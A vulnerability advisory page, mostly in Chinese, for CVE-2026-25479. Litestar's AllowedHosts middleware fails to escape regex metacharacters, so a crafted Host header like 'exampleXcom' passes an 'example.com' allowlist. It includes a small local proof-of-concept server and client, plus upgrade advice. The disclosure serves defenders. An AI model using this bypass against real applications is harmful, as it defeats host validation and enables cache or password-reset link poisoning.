CVE-2026-25479

描述

### Summary AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom ### Details In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. ### PoC Server (poc_allowed_hosts_server.py) ``` from litestar import Litestar, get from litestar.middleware.allowed_hosts import AllowedHostsConfig @get("/") async def index() -> str: return "ok" config = AllowedHostsConfig(allowed_hosts=["example.com"]) app = Litestar([index], allowed_hosts_config=config) ``` `uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001` Client (poc_allowed_hosts_client.py) ``` import http.client def req(host_header: str) -> tuple[int, bytes]: c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3) c.request("GET", "/", headers={"Host": host_header}) r = c.getresponse() body = r.read() c.close() return r.status, body print("evil.com:", *req("evil.com")) print("exampleXcom:", *req("exampleXcom")) ``` Expected (vulnerable behavior): Host: evil.com → 400 invalid host Host: exampleXcom → 200 ok (bypass) ### Impact Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

如何修補 CVE-2026-25479

要修補 CVE-2026-25479,請將受影響套件升級到下列已修補版本。

• —升級至 2.20.0 或更新版本
• —升級至 2.20.0 或更新版本

CVE-2026-25479 正在被利用嗎?

低 — EPSS 為 0.3%,目前沒有觀察到大規模利用活動。

受影響套件(2)